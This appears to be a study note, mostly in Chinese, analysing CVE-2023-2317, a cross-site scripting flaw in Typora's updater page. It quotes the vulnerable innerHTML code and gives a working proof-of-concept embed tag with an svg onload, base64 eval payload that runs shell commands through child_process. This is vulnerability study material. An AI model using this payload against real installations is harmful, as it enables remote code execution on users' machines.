cve 2023 2317
xss
Cross-site scripting 执行了本不应该执行的 js
恶意的 js 可能来自 server 端没有过滤的数据(存储型),或者点击恶意的链接(反射型)
update.html
<div class="btn-group">
<div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
<button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
</div>
<button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
<button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
</div>
<script type="text/javascript">
// ...
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1])); // [1]
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0]; // [2]
});
// ...
</script>
exec()
用于识别字符串中的正则匹配,找到 lable 参数的内容
JSON.parce
解析成 js object 或 js array,lables 是一个从参数解析出来的数组
document.querySelector
查找标签 id (# 表示) class (. 表示)
querySelectorAll
查找有 [data-label] 属性的所有标签
innerHTML
returns all text, including html tags, that is contained by an element. 这里可以构造 xss (?
same origin policy
同源策略 限制不同来源的 document 和 script 和其他来源的内容交互,using JavaScript to access a document in an iframe 是禁止的。
如果在 typora://app/typemark/window.html
embed typora://app/typemark/updater/updater.html
,updater 的script 是可以访问 window.html 中的内容的,比如 reqnode
script
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
其中的 <svg/onload=top.eval(atob('xxx'))></svg>
是 svg injection 在 svg 加载完成后执行 onload 中的 script,eval 一段 base64 编码的 script
decode 之后是这个 reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
根据平台执行命令